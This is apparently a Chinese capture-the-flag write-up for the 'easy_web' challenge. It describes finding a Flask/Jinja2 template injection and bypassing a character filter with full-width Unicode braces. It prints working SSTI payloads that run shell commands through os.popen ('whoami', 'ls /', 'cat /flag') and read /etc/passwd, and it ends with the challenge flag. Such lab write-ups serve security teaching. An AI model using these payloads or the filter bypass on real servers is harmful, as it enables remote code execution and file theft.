攻防世界——easy_web

打开网站后发现有一个输入框

随便写点东西进去尝试xss注入

发现能回显输入的信息但是在代码中被隐藏了

尝试用dirsearch扫描

什么发现也没有

写点东西抓包看看能抓到什么

发现是python的后端

想到这里应该用的是flask框架,注入点在str

尝试SSTI模板注入

Flask是一个很常用的python框架 ,但在其中有SSTI漏洞。

当用户输入****{{7*7}}****时,{{}}里面的语句会被执行,即返回49。

由包中的信息可知,注入点在str

写入{{7*7}}测试一下

发现被过滤了

fuzz测试看看过滤了什么

发现过滤了所有的单字符,即 ascii中 33-127的所有字符(特殊符号,字母大小写,数字)

服务器对所有危险字符(触发过滤规则的字符)返回统一的 "过滤响应页面",该对于这个靶机,HTML 长度固定为 198;而合法字符触发正常渲染,返回长度为 小于198的完整页面

对被过滤的字符我们可以进行替换绕过

{ -> ︷/﹛

} -> ︸/﹜

' -> '

, -> ,

用︷ ︸替换{}再测试一遍

输入payload

︷︷7*7︸︸

发现成功注入

jinjia2的SSIT方式

命令执行

{% for c in [].class.base.subclasses() %}

{% if c.name=='catch_warnings' %}

主体

{{ c.init.globals['builtins'].eval("import('os').popen('whoami').read()") }}

{% endif %}

{% endfor %}

文件查询

{% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}

主体

{{ c.init.globals['builtins'].open('/etc/passwd','r').read() }}

{% endif %}{% endfor %}

构造替换好的payload,查看当前目录下的文件(ls)

python 复制代码
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}
-->
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")︸︸

__globals__使用方式是 函数名.globals,返回一个当前空间下能使用的模块,方法和变量的字典。

sys.modules是一个全局字典。

popen('ls').read()为执行ls命令

发现没什么值得注意的

查看根目录(ls /)

python 复制代码
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls /').read()")︸︸

发现flag文件

在根目录下抓取flag(cat /flag)

python 复制代码
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('cat /flag').read()")︸︸

成功找到flag

flag{8f604f91-c36a-4413-bdaf-e786ffbfda61}

相关推荐
牧码岛7 分钟前
Web前端之样式中的prefers-color-scheme,一套完整的主题系统设计与原理解析
前端·css·web·web前端
星幻元宇VR8 分钟前
VR科普单车|提升青少年交通安全意识的新工具
科技·学习·安全·生活·vr
竹之却29 分钟前
Windows11 如何关闭防火墙
安全·防火墙·windows11
123过去39 分钟前
crackle使用教程
linux·网络·测试工具·安全
ShoreKiten1 小时前
DC-7靶机渗透:CTFer从0到1的进阶之路
网络安全·渗透测试
NaclarbCSDN1 小时前
User role controlled by request parameter-Burp 复现
网络·安全·网络安全
想你依然心痛1 小时前
HarmonyOS 5.0金融安全APP开发实战:基于可信执行环境与分布式风控的移动支付系统
安全·金融·harmonyos
前端不太难1 小时前
“龙虾”智能体的安全红线
安全·状态模式
CHU7290351 小时前
宠物寄养小程序功能版块设计解析:安全、便捷、透明的寄养服务生态
安全·小程序·宠物
KC2701 小时前
Claude Code源码泄露事件深度解析:一次低级失误引发的AI安全地震
人工智能·安全·ai编程